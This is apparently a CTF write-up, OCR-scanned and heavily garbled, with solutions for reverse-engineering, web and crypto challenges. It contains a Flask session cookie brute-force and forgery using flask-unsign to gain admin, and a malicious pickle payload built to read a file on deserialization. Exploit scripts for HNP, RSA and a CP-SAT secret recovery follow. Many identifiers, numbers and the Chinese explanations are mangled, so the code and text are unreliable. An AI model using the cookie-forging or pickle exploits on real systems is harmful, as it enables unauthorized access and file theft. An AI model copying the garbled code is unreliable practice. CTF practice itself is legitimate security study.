** plert 1734512785.36099112: - windows,windows_security,authentication_success,pci_dss_10.2.5,gpgl3_7.1,gpgl3_7.2,gdpr_IV_32.2,hipaa_164.312.b,n
ist_gee_53_AU.14,nist_8ee_53_AC.7,tsc_CC6.8,tsc_CC7.2,tsc_CC7.3,
2024 Dec 18 @9:06:25 (dc) any->EventChannel

] 19 characts b Size: Plain Text

Prover

HABIR

from z3 import *

def rol_z3(x, r)
return RotatelLeft(x, r % 8)
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def rol4_z3(x, r):
return RotatelLeft(x, r % 32)

def rol8_z3(x, r):
return RotatelLeft(x, r % 64)

def main():
byte_6085
byte_608A

[0x03, 0x05, 0x09, OxOB, OXOD]
[OxA5, Ox5C, OxC3, 0x96, Ox3E, OxD7, 0Ox21]

Solver ()
[BitVec(f"c{i}", 8) for i in range(22)]

n
1l

(@]
I}

for i in range(len(known)):
if known[i] != ord("?"):
s.add(c[i] == known[i])

for i in range(5, 21):
s.add(0Or (And(c[i] >= 0x30, c[i] <= 0x39), And(c[i] >= Ox61, c[i] <=
0x66)))

v59 = []
for i in range(22):
v57 = c[i]
v56 = byte_6085[i % 5] * v57 + 19 x i + 79
v55 = byte_608A[i % 7] " v56
v54 = rol_z3(v55, i % 5)

v59.append(v54)

v50 = v51 = v52 = v53 = 0
for i in range(22):
v48 = v59[1]
v53 += ZeroExt(8, v48)
v52 A= v48
v51 += (i + 1) * v48
count = 0
for i 1in range(8):
count += If(Extract(i, i, v48) == 1, 1, 0)

v50 += count

.add(v50 == 0x50)
.add(v51 == 0x43)
.add(v52 == 0x55)
.add(v53 == 0x913)

n n nu n
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v38 []
v47 v59 + [BitVecVal(®, 8), BitVecVal(®, 8)]
for i in range(0, 22, 4):

v38.append(
ZeroExt (24, v4T7[i + 3]) << 24
| ZeroExt(24, v47[i + 2]) << 16
| ZeroExt(24, v47[i + 1]) << 8
| ZeroExt (24, v47[i])

v21 = v38[0]

v20 = rol4_z3(v21l, 5)

v37 = (v38[2] - 1640531527) A v20

v18 = v38[4] *» OxDEADBEEF

v19 = v38[7 % 6]

v36 = (rol4_z3(v19, 11) + v18 + v37) ~ OxA5A5A5A5
s.add(v36 == Ox66F3589F)

v16 = -2048144789 * v38[1]

v17 = v38[5]

v35 = rol4_z3(vl7, 13) + v16

vl5 = v38[8 % 6] + 2135587861

v1l3 = (668265261 * v38[3]) » vl15 A v35

vl4 = v38[9 % 6]

v34 = (rol4_z3(v14, 17) + v13) " Ox5A5AA5A5
s.add(v34 == OxEF965596)

v12 = v38[0]
v33 = v38[3] ” v12 * 0x13579BDF
vll = v38[1]
v10 = v38[2]

v32 = rol4_z3(v10, 7) + vl1l
for m in range(2):
v9 = rol4_z3((m * 2654435769) - OxTA143595 * v32, 5 *x m + 5)

v30 = rol4_z3(v32, 11) A v32 A v9 A v33
v33 = v32
v32 = v30

s.add(v32 + v33 == OxA5A5A5A5 A Ox8A7C3796)
v8 = rol4_z3(v33, 3)

v29 = (rol4_z3(v32, 11) + v8) " Ox5A5AA5A5
s.add(v29 == Ox71F58527)

v5 = Ox243F6A8885A308D3
for i in range(22):
vl ZeroExt (56, v59[i])

v5 = rol8_z3(Ox9E3779B185EBCAS7 * (v5 A (V1 << (8 x (i & 0x7)))), 13)



98 v3 = 0x94D049BB133111EB * (

99 (0xBF58476D1CE4E5B9 * (v5 A (v5 >> 30)))

100 A ((OxBF58476D1CE4E5B9 * (v5 A (v5 >> 30))) >> 27)
101 )

102 v28 = v3 A (v3 >> 31)

103

104 # Check and print solution

105 if s.check() == sat:

106 model = s.model()

107 result = bytes([model.eval(c[i]).as_long() for i in range(22)])
108 print(f"Solution found: {result}")

109 else:

110 print("No solution found")

111

112 +Hf __name__ == "__main__":

113 main()

114

115 # Solution found: b'flag{7acld3e59f0b2468}"'

Gk

forge
kM =iR[E Session , BiEeK& flask B session , HiE flask-unsign I—8F

HADIR

1 $ flask-unsign --unsign --cookie
"eyJfZmxhc2hlcyI6W3siIHQi0lsibWVzc2FnZSIsIm9ubHkgYWRtaW4gY2FuIGxvZ21uIl19XX0.al
WG6A . 5Vek61-skgqsMvvHjs8G5Re05UU"

ARG ER

1 [*] Session decodes to: {'_flashes': [('message', 'only admin can login')]}
2 [*] No wordlist selected, falling back to default wordlist..

3 [*x] Starting brute-forcer with 8 threads..

4 [x] Attempted (2176): --———- BEGIN PRIVATE KEY----—- ECR

5 [+] Found secret key after 23552 attemptsvateKeyWreAM

6 'your_secret_key_here'

5% secret_key , HEEM, RAXERERANENSHHiuzz—T, REHENE

user_1d



1 flask-unsign --sign --cookie "{'user_id':1}" --secret your_secret_key_here
AR
1 eyJlc2VyX21lkIjoxfQ.alLwIMQ.e-aEh508DiB84R3khQODSS3s1Vc

it cookie FLAILAEE,

A=
AaE

— P EfE pkl XHFH#HIT pickle RFFILEIMTS, B—BIE™E, F_EEZINT

i8], A pathlib # unicode fRIBLHT, SCIHHIEEN

(ASEEZS

1

import pickle

class CHIKAWA: def __init__(self): self.model_name = 'Evil'

self.data
=b'c__builtin__\ngetattr\npO\n(cpathlib\nPath\npl\nVread_text\np2\ntp3\nRp4\n(c
pathlib\nPosixPath\np5\n(V\uBe2f\ut066\ude6c\ut061\ufe67\np6\ntp7\nRp8\ntp9\nRp
10\n."' self.parameters = "'

open("exp.pkl","wb") .write(pickle.dumps(CHIKAWA()))

EzHNP
https://github.com/jvdsn/crypto-attacks/blob/master/attacks/hnp/extended_hnp.py

ARG ER

1 from crypto_attacks.attacks.hnp.extended_hnp import attack as
solve_extended_hnp

2  from hashlib import md5

3

4 # ENXPRAEIE

5 challenge_data = {

6 "xbar":
6230571424256507423383041619040773193281502336394655417141506264860271328376921
980229171467976006972819513904910559251760894872160616346970979997089071104,

7 Wplt:
9310958934555393410991830649894096338583606764543221272689047126385507082474315
722946163597015284233384459024239244386201586544274989818077718839180384609,

"Pi": [0, 24, 140, 230],

9 "Nu": [16, 72, 56, 32],

10 "Alpha": [
11

7906150610450629442443122370683940726111394835191669659587253402297907896617441


https://github.com/jvdsn/crypto-attacks/blob/master/attacks/hnp/extended_hnp.py

12
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25
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30

31

954268388587428760969427058519284510136572664304052108032215285347471752066,

6577148665258898902997158733759846438956554327786818438123114318982472349176751
028176807903006138256649357314558789302950465136106300407054894211626235191,

6207107528603184306454785232009996858281199854204694515938209234986384659076217
566339267880286833374497494415958744069132078079198418909255477303683212815,

8440034688771249975883038253766735730159632875811418290418641960305538029450281
996285487821372046437129235457229315613741058219991425045376785696428344117,

3142430063725675648135892664105137833065607473012912856763696296724396189168912
436276337081294171964231166712029669109980851550594427325343869953917651451
1,
"Rho": [
L

6013041642993482675342256176021828639250290537664369194835535994982758705185570
869438400037513398183123758887606024391013412354678986870608295039395870950,

2757288012680210285594725632927166009215124338158417928079814199556696947722793
042154227446444404802217169247427492719976679147854713007657342142727301010,

4699069445241583375853227883328010158649997400320648732868194677988750741279431
530472527985208625858712958828279336379981803397928442607378597230647012636

:l’

[

5045677648260009306709931105231345399494626776892085130814243732330056019644097
698344837879079706418885141241543129431244389724733425375412259753276032813,

3776680943415546908571777417819535438857733977328075477790969367729396833259514
335195291868381962791987064606127848368324232466236749124012860415520217916,

2855855516652989367647902617515751946850598912029047546480545162881560926888648
558283851743547620219378178736701242307097205589585379293356754141495924851

1,

[

3672179270685619587519254711407148177620752059057417870292657693176041956892702
919011538784812280255319904858291492209754049497275990249877751846100558654,

2113695641247088496259273079959563136912662433672292008246871690037530071960968
517276506969814380247408377179207858342877339943628756055363777092235059935,

5620147125815585832354988505738888674721971954046688918107926881721148705180745
03377536855728523794279663918988447017835892898888122674995512183575655633



32
33
34
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7350227478538037016270509732902483687258147026984657075175888459049586448064405
800505443915586483551602578205293488952412549968920938878904349965331578988,

8025055426811453598268152387376504465949559734229578369246747072634340175048266
803129660710463024796264986952411204592761942057804226775885800622665313535,

6196479835385658112968086437618178072286266547026637264184289507325665170158930
041506052222739670486451498520609755242878401775574194311024404224687980256

1,

[

7895107635472009951863547078822234464367917657240875800514680064064504309994070
112452216760155011647552524571806030444035609947350051477111388171275950558,

3422336328505142392487226875720897396933698768704136608994371117262688509127637
985957656895657327103928270930510786041022633408995951557895072775650767010,

T7407529406252031145755888551044620622077237778924700902534182421589103747060132
902330186901106571358164191231301032624792368050578500161716753908106198324

]

1,

"Mu": [
[36, 52, 28],
[36, 52, 28],
[36, 52, 28],
[36, 52, 28],
[36, 52, 28]

1,

"Beta": [

7783186468773046816984954231282610243554922855664304049600696481041520045155550
995853435513497971509007001046377716738966581280754145489128779857337101998,

7825718567359332090338847050502466270063339531818963395684143814406680219256795
053320062023681506978987705475878271125296471563761418065656175941156784607,

7761682634625972699137378357029719208686584894836201317099328367010754112153017
830783397686873917934576743698406973181813026836139579026162155266117071076,

8114108391193892800828539257573327849733181469975833079505665447116237573717361
949376884965060706046649321482602402718695636282878809588458465219327519354,

1958074913992250867838317021323029853103403192779311370447119574038919733821501
96088077261528370468647612722746478797243898369670934414257735681526745085



57 ]

58 }

59

60 def extract_parameters(data_dict):

61 return (

62 data_dict["xbar"],

63 data_dict["p"],

64 data_dict["Pi"],

65 data_dict["Nu'"],

66 data_dict["Alpha"],

67 data_dict["Rho"],

68 data_dict["Mu"],

69 data_dict["Beta"]

70 )

71

72 def compute_md5_hash(input_string):

73 return md5(input_string.encode()) .hexdigest()

74

75 def main():

76 x_bar, prime, pi_list, nu_list, alpha_list, rho_list, mu_list, beta_list =
extract_parameters(challenge_data)

7

78 # FEARY JEHNPIB]ER

79 solutions = list(solve_extended_hnp(x_bar, prime, pi_list, nu_list,
alpha_list, rho_list, mu_list, beta_list))

80

81 if solutions:

82 solution_x = solutions[0]

83 print(f"Found solution: {solution_x}")

84

85 hash_result = compute_md5_hash(str(solution_x))

86 flag = f"flag{{{hash_result}}}"

87 print(f"Generated flag: {flagl")

88 else:

89 print("No solution found")

90

91 if __name__ == "__main__":

92 main()

flag{67f56be77ad87032f8291070057184bf}
=M

Dragon



B AR B R AR RE
xxteaBY BB ER S

1. MXIIEBEIIE EWENRT

2. delta/y 6x87654321

3. REEEEMRINE, FMnEx

(RUERS

#include <stdint.h>
#include <stdio.h>

1

2

3

4  #define ROTL(x, y) (((x) << (y & Ox1F)) | ((x) >> (0x20 - (y & Ox1F))))
5 #define ROTR(x, y) (((x) >> (y & Ox1F)) | ((x) << (0x20 - (y & Ox1F))))
6

7

8

9

unsigned int datal[] = {
OxXOEB4D6CE, Ox521DDE8B, Ox21ED24FD, OxBA1lOEC26,

10 0x3339931C, Ox46DCOE7D, OxCC469F44, Ox64BA7T079,
11 Ox64777977, OxB2151C98, OxDBCC5AAl

12 3

13

14 unsigned int key[] = {

15 0x12345678, Ox9ABCDEFO®, OxFEDCBA98, 0x76543210
16 };

17

18 void xxtea_decry(

19 unsigned int *data,

20 unsigned int xkey,

21 unsigned int n,

22 unsigned int rounds)

23 {

24 unsigned int e, y, Zz;

25 unsigned int delta = 0x87654321, number;

26 //rounds = 6 + 52/n;

27 number = delta * rounds;

28 do

29 {

30 e = (number >> 2) & 3;

31 for (int i = n-1; i>=0; i--)

32 {

33 y = data[(i+1)%n];

34 z = data[(i+n-1)%n];

35

36 data[i] -= ((z<<4 A y>>5) + (y<<4 A z>>5)) A ((number A y) + (z

rkey[(e " 1)&3]));



37 }

38 number -= delta;

39 } while (--rounds);

40 }

41

42

43  Hdint main()

44  {

45 //unsigned int #*Data = (unsigned int *)data;
46 //unsigned int *Key = (unsigned int *)key;
47 for(int i=0; 1i<4; i++)

48 {

49 key[i] = ROTL((key[i] ~ Ox13579BDF),7);
50 }

51 xxtea_decry(data,key,11,42);

52 printf("%s'", (charx)data);

53 return 0;

54 }

ECRL

Qrandom

WE DT IIIAERNFHE (prob, xor_hex) , FMAMKRGEERZERALLISHIUNRAESE, BUBHL
PR (ILP) #RE, KEEH32F TIMsecret, BAEMDS{ENAESEH, CTRIEIEEREEX,
Eitiflag, ZOERMREREUNEMAR, BIILPIEHRIMEMEE,

(ASEEN

1 # grandom_recover.py

2 # M output.txt WE 256-bit secret, HEMH AES-CTR MEEZEX
3 # BOBE: BEIESEE S, FIFEXMEGTTH CP-SAT/EGEER I ILHE
4

5 dmport re

6 from pathlib -import Path

7  from hashlib import md5

8  from Crypto.Cipher 1import AES

9

10 try:

11 from ortools.sat.python import cp_model

12 OR_TOOLS_AVAILABLE = True

13 except ImportError:

14 OR_TOOLS_AVAILABLE = False

15

16 def hex_to_bit_list(hex_str: str):



17
18
19
20
21
22
23
24
25
26
27
28

29
30
31
32

33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

57
58
59
60

def

"SI F R R NIE MSB B LSB HEFIRIITIER" "
result = []
for byte in bytes.fromhex(hex_str):
for bit in range(7, -1, -1): # S{UZRQ
result.append((byte >> bit) & 1)
if len(result) != 256:
raise ValueError ("¥iH 256 fi hex mA")

return result

parse_output_file(file_path="output.txt"):
ne AR L S, PRENEIEN AN E S

lines = [line.strip() for line in Path(file_path).read_text().splitlines()

if line.strip()]

if len(lines) < 3 or (len(lines) - 1) % 2 != 0:

raise ValueError ("XHIENEEIR: WA ((F=E, hex) x N + &RE—(TENX")

data_pairs = [(float(lines[i]), lines[i+1]) for i 1in range(0,

len(lines)-1, 2)]

cipher_hex = lines[-1]

delta_values = []

y_bit_lists = []

for probability, hex_value in data_pairs:
weight = int(round(probability * 256)) # 7iHi key AV XEAEE
y_bits = hex_to_bit_list(hex_value) # y = secret " key
hamming_weight_y = sum(y_bits)
delta = weight - hamming_weight_y
delta_values.append(delta)
y_bit_lists.append(y_bits)

base_index = 0
D_matrix = []
target_deltas = []

for i in range(len(delta_values)):
if i == base_index:
continue
delta_diff = delta_values[base_index] - delta_values[i]
if delta_diff % 2 != 0:
raise ValueError("Delta ZFBMEFR—, WANTIREHRIA")
target_deltas.append(delta_diff // 2)

row = [y_bit_lists[i][j] - y_bit_lists[base_index][j] for j 1in

range(256) ]

D_matrix.append(row)

return D_matrix, target_deltas, cipher_hex



61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
98

94
95
96
97
98
99

100

101

102

103
104

def initial_guess(D, deltas):
BT MG RIASE
scores = [0] * 256
for i, delta in enumerate(deltas):

for j, coefficient in enumerate(D[i]):

if coefficient != 0:

scores[j] += delta x coefficient

threshold = max(1, len(deltas) // 4)
return [1 if score > threshold else 0 for score in scores], scores

def local_search_refinement(D, deltas, initial_guess_bits, max_iterations=4):
g B ERE R ERE

m, n = len(deltas), len(initial_guess_bits)

row_

sums =

range(m) ]

[sum(D[i][j] * initial_guess_bits[j] for j in range(n)) for i 1in

def compute_cost():

best_cost =

iteration

return sum(abs(row_sums[i] - deltas[i]) for i in range(m))

compute_cost()
0

improved = True

while dimproved and best_cost > 0 and iteration < max_iterations:

improved = False

iteration += 1

for j in range(n):

cost_change = 0

for

i in range(m):
if DLi][j] !'= 0:
old_cost = abs(row_sums[i] - deltas[i])

new_row_sum = row_sums[i] + (D[i][j] if

initial_guess_bits[j] == 0 else -D[i][j])

else -1)

new_cost = abs(new_row_sum - deltas[i])

cost_change += (new_cost - old_cost)

if cost_change < 0:

# BNz
initial_guess_bits[j] = 1 - initial_guess_bits[j]
for i in range(m):
if D[i][j] != 0:
row_sums[i] += D[i][j] * (1 if initial_guess_bits[j]

best_cost += cost_change

improved = True



105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130

131
132
133
134
135
136
137
138
1L3S
140
141
142
143
144
145
146
147
148
149
150

def

def

return initial_guess_bits, best_cost ==

decrypt_secret(secret_bits, cipher_hex):
"R HIREEIR N secret, FF AES-CTR f@Z"""
secret_bytes = bytearray()
for chunk in range(0, 256, 8):
byte_val = 0
for bit in range(8):
byte_val = (byte_val << 1) | secret_bits[chunk + bit]
secret_bytes.append(byte_val)

aes_key = md5(secret_bytes).digest()
cipher = AES.new(key=aes_key, mode=AES.MODE_CTR, nonce=b'"suan")
plaintext = cipher.decrypt(bytes.fromhex(cipher_hex))
try:
print("[+] Flag:'", plaintext.decode())
except UnicodeDecodeError:
print("[+] 3F UTF-8 BAX:", plaintext)

main() :
D, deltas, cipher_hex = parse_output_file("output.txt")
guess, _ = initial_guess(D, deltas)

if not OR_TOOLS_AVAILABLE:
refined_secret, success = local_search_refinement(D, deltas,

guess.copy())

if not success:
print("[!] AHERRITLWN, SXEZH...")
decrypt_secret(refined_secret, cipher_hex)

return
# & OR-Tools 1 CP-SAT &%
model = cp_model.CpModel()

secret_vars = [model.NewBoolVar (f'"secret_bit_{i}") for i in range(256)]

for i, delta in enumerate(deltas):

positive_terms = [secret_vars[j] for j in range(256) +if D[i][j] == 1]
negative_terms = [secret_vars[j] for j in range(256) if D[i][j] == -1]
model.Add (sum(positive_terms) - sum(negative_terms) == delta)

# IEBIEIETIEN B XL T
for didx, val in enumerate(guess):
model.AddHint(secret_vars[idx], int(val))

solver = cp_model.CpSolver ()
solver.parameters.num_search_workers = 8



151
152
153
154
155
156
157
158
159
160
161
162
163

KR

status = solver.Solve(model)

if status in (cp_model.OPTIMAL, cp_model.FEASIBLE):

final_secret = [int(solver.Value(var)) for var in secret_vars]
else:

print("[!] CP-SAT FKikEIfi#, EREAMIEER...")

final_secret, _ = local_search_refinement(D, deltas, guess.copy())
decrypt_secret(final_secret, cipher_hex)
if __name__ == "__main__":

main()
#flag{cat_alive_cat_dead_cat_flag e7ce8d437b5f}

Ez RSA
183 Coppersmith IEH#kE| delta , BitE gcd ME N W—1MEEAEF g, PEFIRE
#p M q
(ASEEN
1 # rsa_factorization.sage
2 from sage.all 1dimport =*
3 from hashlib {import md5
4
5 # ========== BMGHAEEMHRIDEY ==========
6 public_exponentl = Integer ("65537")
7  modulus_N = Integer("")
8 public_exponent2 = Integer("")
9 # ================s-=========================
10
11 # #IEEHELEH
12 modular_ring = Zmod(modulus_N)
13 polynomial_ring = PolynomialRing(modular_ring, 'x'")
14  polynomial_var = polynomial_ring.gen()
15
16  # IFEBRORHK
17  multiplier = (public_exponentl * public_exponent2) % modulus_N
18 difference = (public_exponent2 - public_exponentl) % modulus_N
19
20 # I EFRRIFFIAEF
21 factor_candidate = gcd(multiplier, modulus_N)
22 if factor_candidate not in [1, modulus_N]:



23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

39
40
41
42
43

44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

primary_factor = factor_candidate
else:
# HIEET S MZTT
multiplier_inverse = inverse_mod(multiplier, modulus_N)

constant_term = (multiplier_inverse * difference) % modulus_N

target_polynomial = polynomial_var - modular_ring(constant_term)

# ZBIERNRIEZ R

search_bounds = [2**k for k 1in [512, 560, 600, 660, 720, 800, 880]]

confidence_levels = [0.60, 0.70, 0.80, 0.90, 0.95]

root_found = None
for bound in search_bounds:
for confidence in confidence_levels:
small_roots = target_polynomial.small_roots (X=bound,
beta=confidence)
if small_roots:
root_candidate = Integer(small_roots[0])
# 1RIE/MRITERIZ
potential_factor = gcd(

public_exponentl * public_exponent2 * root_candidate -

difference,
modulus_N
)
if potential_factor not in [1, modulus_N]:
root_found = root_candidate
primary_factor = potential_factor
break
else:
root_found = None
if root_found is not None:
break

if root_found is None or primary_factor in [1, modulus_N]:
print("[!] /MRIERKK, BRBERSHEER")
exit(1)

# tEBNRA ZEAF

prime_factors = factor(primary_factor)

largest_prime = max(prime_factors, key=lambda x: x[0].nbits())[0]
prime_power = valuation(modulus_N, largest_prime)
secondary_factor = modulus_N // (largest_prime ** prime_power)

# JEIH 7R,
print(f"[+] FEEHMIE: {largest_prime.nbits()} ®X: {prime_power}
{secondary_factor.nbits()}")

RERERIER



67
68
69
70
71
72
73

# FHRZ lag

hash_input = str(largest_prime).encode()
digest_value = md5(hash_input).hexdigest()
final_flag = f"flag{{{digest_value}}}"
print(f"[+] BELER: {final_flagl}")
#flag{fedl77cf9r68e191aldc46089788aale}



